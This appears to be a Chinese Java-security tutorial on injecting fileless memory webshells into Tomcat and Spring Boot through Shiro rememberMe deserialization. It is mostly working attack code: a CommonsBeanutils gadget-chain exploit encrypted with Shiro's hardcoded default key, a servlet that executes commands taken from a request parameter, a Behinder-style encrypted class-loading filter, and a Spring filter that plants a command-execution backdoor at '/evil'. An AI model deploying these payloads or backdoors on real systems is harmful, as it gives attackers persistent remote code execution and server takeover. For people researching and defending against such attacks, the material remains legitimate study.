JavaSec 入门-10-反序列化与内存马
前言
上一篇文章研究了内存马的基础原理以及简单实现,但是严格意义上并非内存马,jsp 还是会被编译器生成对应的 Java 文件进行编译加载然后实例化,也就是仍然会落地,在注入内存马的时候比较重要的一步就是去拿 context ,前面我们都是直接从 request 对象,将 ServletContext 转为 StandardContext 从而获取 context,然后再实现注入,由于 request 和 response 是 jsp 的内置对象,所以在回显问题上不用考虑,但是当我们结合反序列化进行注入的时候这些都成了需要思考的地方
这篇文章会联动后面的 shiro 分析,利用细节会在之后去讲
反序列化环境搭建
其实还是比较随便的,Tomcat、Springboot 都可以,触发点也很多,Fastjson、自己写一个入口也行,这里为了衔接后面的 shiro 我们就直接在这写了
新建一个 SpringBoot2 项目,现在直接在 IDEA 的默认配置里建不了,得换一下那个 url,不然新建出来的就是3版本了(其实也无所谓,后期我们都会分析,拿上下文的方法不太一样)
目录结构如图,没有写出来的类是调试信息用的,无关紧要
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.5.3</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.shirodemo</groupId>
<artifactId>shiroSpring</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>shirodemo</name>
<description>shirodemo</description>
<url/>
<licenses>
<license/>
</licenses>
<developers>
<developer/>
</developers>
<scm>
<connection/>
<developerConnection/>
<tag/>
<url/>
</scm>
<properties>
<java.version>8</java.version>
</properties>
<dependencies>
<dependency> <!-- springboot 没有提供对 shiro 的自动配置, shiro 的自动配置需手动完成 -->
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency> <!-- 引入 thymeleaf 模板引擎 -->
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
<dependency> <!-- 引入 lombok -->
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<version>1.18.30</version>
</dependency>
<dependency> <!-- 引入 druid-spring-boot-starter, 自动配置 Druid -->
<groupId>com.alibaba</groupId>
<artifactId>druid-spring-boot-starter</artifactId>
<version>1.1.17</version>
</dependency>
<dependency> <!-- 会自动引入 mybatis, mybatis-spring, spring-boot-starter-jdbc -->
<groupId>org.mybatis.spring.boot</groupId>
<artifactId>mybatis-spring-boot-starter</artifactId>
<version>2.2.2</version>
</dependency>
<dependency> <!-- 引入 mysql 扩展 -->
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.28</version>
</dependency>
<dependency> <!-- 引入 SpringBoot 测试依赖 -->
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId> <!-- 引入存在漏洞版本的 shiro -->
<version>1.2.3</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId> <!-- 引入 commons-collections 链 -->
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>com.github.theborakompanioni</groupId>
<artifactId>thymeleaf-extras-shiro</artifactId> <!-- 引入 shiro 标签 -->
<version>2.1.0</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<annotationProcessorPaths>
<path>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<version>1.18.30</version>
</path>
</annotationProcessorPaths>
</configuration>
</plugin>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
<configuration>
<excludes>
<exclude>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
</exclude>
</excludes>
</configuration>
</plugin>
</plugins>
</build>
</project>
package com.shirodemo.config;
import org.apache.shiro.spring.web.ShiroFilterFactoryBean;
import org.apache.shiro.web.mgt.CookieRememberMeManager;
import org.apache.shiro.web.mgt.DefaultWebSecurityManager;
import org.apache.shiro.web.servlet.SimpleCookie;
import com.shirodemo.realm.MyRealm;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import at.pollux.thymeleaf.shiro.dialect.ShiroDialect;
import java.util.HashMap;
@Configuration
public class ShiroConfiguration {
@Bean
public MyRealm getMyRealm() {
return new MyRealm();
}
@Bean
public ShiroDialect shiroDialect() {
return new ShiroDialect(); // 用于支持 shiro 标签的使用
}
@Bean
public CookieRememberMeManager getRememberMeManager() { // 支持 RememberMe, 并设置 Cookie
CookieRememberMeManager cookieRememberMeManager = new CookieRememberMeManager();
SimpleCookie simpleCookie = new SimpleCookie("rememberMe"); // 让服务器检查 rememberMe 键, 这里必须设置
simpleCookie.setMaxAge(60); // 60 秒后过期
cookieRememberMeManager.setCookie(simpleCookie);
return cookieRememberMeManager;
}
@Bean
public DefaultWebSecurityManager getSecurityManager() {
DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager();
securityManager.setRealm(getMyRealm()); // 设置为自定义 Realm, 进行校验
securityManager.setRememberMeManager(getRememberMeManager()); // 设置 RememberMe 控制器, 用于支持 RememberMe 功能
return securityManager;
}
@Bean
public ShiroFilterFactoryBean shiroFilterFactoryBean() {
ShiroFilterFactoryBean shiroFilterFactoryBean = new ShiroFilterFactoryBean();
shiroFilterFactoryBean.setSecurityManager(getSecurityManager()); // 设置安全管理器
HashMap<String, String> filterChainDefinitionMap = new HashMap<>(); // 准备过滤好需过滤的 URL
filterChainDefinitionMap.put("/", "user"); // 设置为记住我可访问, 如果不是记住我的状态, 后面会跳转到登录页面
filterChainDefinitionMap.put("/index", "user"); // 设置为记住我可访问, 如果不是记住我的状态, 后面会跳转到登录页面
// filterChainDefinitionMap.put("/**", "authc"); // 其他所有页面必须已认证才可以访问
filterChainDefinitionMap.put("/login", "anon"); // 登陆页面, 所有人可访问
filterChainDefinitionMap.put("/user/login", "anon"); // 登录处理口, 所有人可访问
shiroFilterFactoryBean.setFilterChainDefinitionMap(filterChainDefinitionMap);
shiroFilterFactoryBean.setLoginUrl("/login"); // 默认登录页面
shiroFilterFactoryBean.setUnauthorizedUrl("/login"); // 未认证的情况, 也跳转到登录页面
return shiroFilterFactoryBean;
}
}
package com.shirodemo.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
@Controller
public class PageController {
@GetMapping("/login")
public String login() {
return "login";
}
@RequestMapping({"/", "/index"})
public String index() {
return "index";
}
}
package com.shirodemo.controller;
import org.apache.shiro.SecurityUtils;
import org.apache.shiro.authc.AuthenticationException;
import org.apache.shiro.authc.UsernamePasswordToken;
import org.apache.shiro.subject.Subject;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
@Controller
@RequestMapping("/user")
public class UserController {
@PostMapping("/login")
public String login(String username, String password, boolean rememberMe) {
Subject subject = SecurityUtils.getSubject();
UsernamePasswordToken usernamePasswordToken = new UsernamePasswordToken(username, password);
usernamePasswordToken.setRememberMe(rememberMe); // rememberMe 的设置根据前端表格请求来决定.
try {
subject.login(usernamePasswordToken); // login 中有 序列化 | 反序列化操作
System.out.println("--------登陆成功!");
return "index"; // 登录成功跳转到主页面
} catch (AuthenticationException e) {
System.out.println("--------登陆失败!");
return "login"; // 登录失败跳转到登录表单
}
}
}
package com.shirodemo.realm;
import org.apache.shiro.authc.*;
import org.apache.shiro.authz.AuthorizationInfo;
import org.apache.shiro.realm.AuthorizingRealm;
import org.apache.shiro.subject.PrincipalCollection;
public class MyRealm extends AuthorizingRealm {
@Override
public String getName() {
return "MyRealm";
}
@Override
protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principalCollection) {
return null; // 授权过程暂且不实现
}
@Override // 认证时所调用的方法
protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken authenticationToken) throws AuthenticationException {
UsernamePasswordToken token = (UsernamePasswordToken) authenticationToken;
String username = token.getUsername();
// 用户名任意, 密码为 aniale 则登录成功
return new SimpleAuthenticationInfo(username, "aniale", this.getName());
}
}
<!DOCTYPE html>
<html lang="en"xmlns:shiro="http://www.pollix.at/thymeleaf/shiro">
<head>
<meta charset="UTF-8">
<title>主页面</title>
</head>
<body>
<!-- 打印出当前用户名 -->
<h3>Hello User: <shiro:principal/></h3>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>用户登录</title>
<base href="/">
</head>
<body>
<form action="user/login" method="post"> <!-- 这里发送的控制器请求在 UserController 进行接收 -->
username: <input type="text" name="username"><br>
password: <input type="password" name="password"><br>
rememberMe: <input type="radio" name="rememberMe"><br>
<input value="登录" type="submit">
</form>
</body>
</html>
shiro 在旧版本默认key为 kPH+bIxk5D2deZiIxcaaaA==,具体原理会在后面文章讲,这里只做演示。搭建好之后可以先在 rememberme 那里打一个 CB 链子测试一下 ( EvilClass 写个弹计算器的就行)
package test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class MyExp02 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
AesCipherService aesCipherService = new AesCipherService();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(evil.EvilClass.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
byte[] escapeData = barr.toByteArray();
// 如上已准备好序列化后的值
ByteSource encrypt = aesCipherService.encrypt(escapeData, Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="));
System.out.println(encrypt.toBase64());
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser3.bin")));
oos.writeObject(obj);
}
public static void unserialize(String Filename) throws IOException,ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));
Object obj = ois.readObject();
}
}
获取
internalDoFilter中获取
这个方法有点老,不建议用
在 Tomcat 寻找一个静态的可以存储 request 和 response 的变量,因为如果不是静态的话,那么我们还需要获取到对应的实例,从这一步就开始不停传参 request 和 response
最终找到了如下位置,org.apache.catalina.core.ApplicationFilterChain#internalDoFilter
中,有一个符合要求的变量
在 WRAP_SAME_OBJECT 为 true ,就会调用 set 方法将我们的 request 和 response 存放进去,在文件的最后,发现在静态代码块处会进行一次设置,由于静态代码片段是优先执行的,而且最开始 ApplicationDispatcher.WRAP_SAME_OBJECT 默认为 False ,所以 lastServicedRequest 和 lastServicedResponse 一开始默认为 False
利用反射来修改 WRAP_SAME_OBJECT 为 true ,同时初始化 lastServicedRequest 和 lastServicedResponse ,在第二次访问时触发就会通过这个取我们设定好的对象
起一个 springboot ,因为我们要修改的两个值都是 static final 所以要位运算去掉 final 标志
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
@WebServlet("/echo")
@SuppressWarnings("all")
public class Echo extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
Class applicationDispatcher = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
Field WRAP_SAME_OBJECT_FIELD = applicationDispatcher.getDeclaredField("WRAP_SAME_OBJECT");
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
Field f0 = Class.forName("java.lang.reflect.Field").getDeclaredField("modifiers");
f0.setAccessible(true);
f0.setInt(WRAP_SAME_OBJECT_FIELD,WRAP_SAME_OBJECT_FIELD.getModifiers()& ~Modifier.FINAL);
Class applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
Field lastServicedRequestField = applicationFilterChain.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = applicationFilterChain.getDeclaredField("lastServicedResponse");
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
f0.setInt(lastServicedRequestField,lastServicedRequestField.getModifiers()& ~Modifier.FINAL);
f0.setInt(lastServicedResponseField,lastServicedResponseField.getModifiers()& ~Modifier.FINAL);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(applicationFilterChain);
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(applicationFilterChain);
String cmd = lastServicedRequest!=null ? lastServicedRequest.get().getParameter("cmd"):null;
if (!WRAP_SAME_OBJECT_FIELD.getBoolean(applicationDispatcher) || lastServicedRequest == null || lastServicedResponse == null){
WRAP_SAME_OBJECT_FIELD.setBoolean(applicationDispatcher,true);
lastServicedRequestField.set(applicationFilterChain,new ThreadLocal());
lastServicedResponseField.set(applicationFilterChain,new ThreadLocal());
} else if (cmd!=null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
StringBuilder sb = new StringBuilder("");
byte[] bytes = new byte[1024];
int line = 0;
while ((line = inputStream.read(bytes))!=-1){
sb.append(new String(bytes,0,line));
}
Writer writer = lastServicedResponse.get().getWriter();
writer.write(sb.toString());
writer.flush();
}
} catch (Exception e){
e.printStackTrace();
}
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
}
}
其实就是 Tomcat 使用线程池处理请求,每个线程通过 ThreadLocal 存储当前的 ServletRequest 和 ServletResponse,然后利用这个去获取 request 和 response
WebappClassLoader中获取
上面的还是有点麻烦,既然想到线程,可以根据 Tomcat 的 WebappClassLoader 来获取 request 域对象
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); // 得到当前线程的 ClassLoader
WebResourceRoot resources = webappClassLoaderBase.getResources(); // 得到 WebResourceRoot 对象
StandardContext context = (StandardContext) resources.getContext(); // 得到上下文对象
其核心原理则是, 通过Thread.currentThread().getContextClassLoader()
得到当前 Tomcat 下的ClassLoader
, 也就是WebappClassLoader
. 再通过WebappClassLoader
得到WebResourceRoot
, 在WebResourceRoot
中得到ServletContext
但是这个方法会受到 Tomcat 版本限制,8.5.78版本之后不行,但是我们这个环境刚好可以,我们这里写一个冰蝎进去,其实也就是套个加密壳的 Filter 内存马
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import org.apache.catalina.core.StandardContext;
import java.lang.reflect.InvocationTargetException;
import java.io.IOException;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import java.lang.reflect.Constructor;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.Context;
import javax.servlet.*;
import java.lang.reflect.Method;
import java.util.*;
import javax.crypto.*;
import javax.crypto.spec.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
public class BehinderFilter extends AbstractTranslet implements Filter {
static {
try {
final String name = "evil";
final String URLPattern = "/*";
WebappClassLoaderBase webappClassLoaderBase =
(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
Field Configs = standardContext.getClass().getSuperclass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
BehinderFilter behinderFilter = new BehinderFilter();
FilterDef filterDef = new FilterDef();
filterDef.setFilter(behinderFilter);
filterDef.setFilterName(name);
filterDef.setFilterClass(behinderFilter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern(URLPattern);
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);
} catch (NoSuchFieldException ex) {
ex.printStackTrace();
} catch (InvocationTargetException ex) {
ex.printStackTrace();
} catch (IllegalAccessException ex) {
ex.printStackTrace();
} catch (NoSuchMethodException ex) {
ex.printStackTrace();
} catch (InstantiationException ex) {
ex.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
try {
System.out.println("Do Filter ......");
// 获取request和response对象
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse)servletResponse;
HttpSession session = request.getSession();
//create pageContext
HashMap pageContext = new HashMap();
pageContext.put("request",request);
pageContext.put("response",response);
pageContext.put("session",session);
if (request.getMethod().equals("POST")) {
String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
//revision BehinderFilter
Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
evilclass.newInstance().equals(pageContext);
}
}catch (Exception e){
e.printStackTrace();
}
filterChain.doFilter(servletRequest, servletResponse);
System.out.println("doFilter");
}
@Override
public void destroy() {
}
}
Spring 获取域对象
Spring
提供了RequestContextHolder
, 这个方法可以获取当前线程中的Request
域对象
ServletRequestAttributes requestAttributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
HttpServletRequest request = requestAttributes.getRequest();
这个RequestContextHolder
类是 Spring 框架中用于 管理当前请求上下文RequestAttributes
的工具类,它主要通过 ThreadLocal 变量来存储请求信息。它的作用是让 Spring 应用在不同的线程中仍然能够访问 当前 HTTP 请求的属性。
存储 RequestAttributes
到 ThreadLocal
,支持可继承模式
inheritable == true
时使用 NamedInheritableThreadLocal
(子线程可继承)
inheritable == false
时使用 NamedThreadLocal
(当前线程独立)
package evil;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
public class SpringNeiCunMa extends AbstractTranslet implements Filter {
// Filter 的命令执行逻辑
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
// 内存马请求过来主要逻辑
HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequest;
String requestURI = httpServletRequest.getRequestURI();
System.out.println(requestURI);
if ("/evil".equals(requestURI)) {
InputStream inputStream = Runtime.getRuntime().exec(httpServletRequest.getParameter("cmd")).getInputStream();
byte[] myChunk = new byte[1024];
int i = 0;
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
while ((i = inputStream.read(myChunk)) != -1) {
byteArrayOutputStream.write(myChunk, 0, i);
}
servletResponse.getWriter().println(new String(byteArrayOutputStream.toByteArray()));
} else {
filterChain.doFilter(servletRequest, servletResponse);
}
}
static { // 在 static 代码块中进行注入内存马
try {
ServletRequestAttributes requestAttributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
HttpServletRequest request = requestAttributes.getRequest();
ServletContext servletContext = request.getServletContext();
Field ApplicationContextContext = servletContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade 对象的 context 字段
ApplicationContextContext.setAccessible(true);
org.apache.catalina.core.ApplicationContext applicationContext = (ApplicationContext) ApplicationContextContext.get(servletContext); // 得到 ApplicationContextFacade 对象 context 字段的对象值
Field StandardContextContext = applicationContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade -> context -> context 字段
StandardContextContext.setAccessible(true);
StandardContext standardContext = (StandardContext) StandardContextContext.get(applicationContext); // 得到 ApplicationContextFacade -> context -> context 对象 (StandardContext)
// 下面模拟 ServletContext::addFilter 方法中的动态生成内存马的代码块...
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("testFilter");
standardContext.addFilterDef(filterDef);
filterDef.setFilterClass(SpringNeiCunMa.class.getName()); // 设置自己
filterDef.setFilter(new SpringNeiCunMa()); // 放入自己, 因为自己就是 Filter
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterDef.getFilterName());
filterMap.setDispatcher("[REQUEST]");
filterMap.addURLPattern("/*");
standardContext.addFilterMapBefore(filterMap); // 因为该行代码操作的就是 filterMaps
// 创建 ApplicationFilterConfig, 未来往 filterConfigs 里面放
Constructor<?> declaredConstructor = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructor(Context.class, FilterDef.class);
declaredConstructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) declaredConstructor.newInstance(standardContext, filterDef);
// 得到 filterConfigs, 并且往这个 HashMap 中放置我们的 ApplicationFilterConfig
Field filterConfigs = standardContext.getClass().getSuperclass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
HashMap<String, ApplicationFilterConfig> myFilterConfigs = (HashMap<String, ApplicationFilterConfig>) filterConfigs.get(standardContext);
myFilterConfigs.put(filterMap.getFilterName(), applicationFilterConfig);
filterConfigs.set(standardContext, myFilterConfigs);
} catch (Exception e) {}
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {}
@Override
public void destroy() {}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
踩坑
一开始总是成功不了,调了半天发现拿不到直接的 StandardContext ,这个排查错误的思路还是重要的,直接打反序列化看不到具体的报错,直接在项目里写会更好发现,最后问题定位到这里,测试时候发现由于这里采用的是 Spring 内嵌 Tomcat ,会导致在最后面把配置放到 filterConfigs 出现找不到的报错
写一个测试控制器去看一下 StandardContext 出了什么问题
@Controller
public class TesterController {
@RequestMapping("/test")
@ResponseBody
public String test() throws NoSuchFieldException, IllegalAccessException {
// ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
// ServletRequestAttributes requestAttributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
// System.out.println(contextClassLoader); // SpringBoot: TomcatEmbeddedWebappClassLoader
// Tomcat: ParallelWebappClassLoader
// System.out.println(requestAttributes); // ShiroHttpServletRequest
// HttpServletRequest request = requestAttributes.getRequest();
// System.out.println(request);
// ServletContext servletContext = request.getServletContext();
// System.out.println(servletContext);
ServletRequestAttributes requestAttributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
HttpServletRequest request = requestAttributes.getRequest();
HttpServletRequest req = request instanceof ShiroHttpServletRequest ?
(HttpServletRequest) ((ShiroHttpServletRequest) request).getRequest() : request;
ServletContext servletContext = req.getServletContext();
System.out.println(servletContext);
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
Object applicationContext = appContextField.get(servletContext);
// 再次获取 context (它可能是 StandardContext 或 TomcatEmbeddedContext)
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
System.out.println("StandardContext: " + standardContext);
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); // 得到当前线程的 ClassLoader
WebResourceRoot resources = webappClassLoaderBase.getResources(); // 得到 WebResourceRoot 对象
StandardContext context = (StandardContext) resources.getContext();
System.out.println("context: " + context);
return "TEST";
}
看一下 TomcatEmbeddedContext ,发现继承了 StandardContext ,那很显然了
我们在最后那一步去加一个 .getSuperclass 即可
Field filterConfigsField = standardContext.getClass().getSuperclass().getDeclaredField("filterConfigs");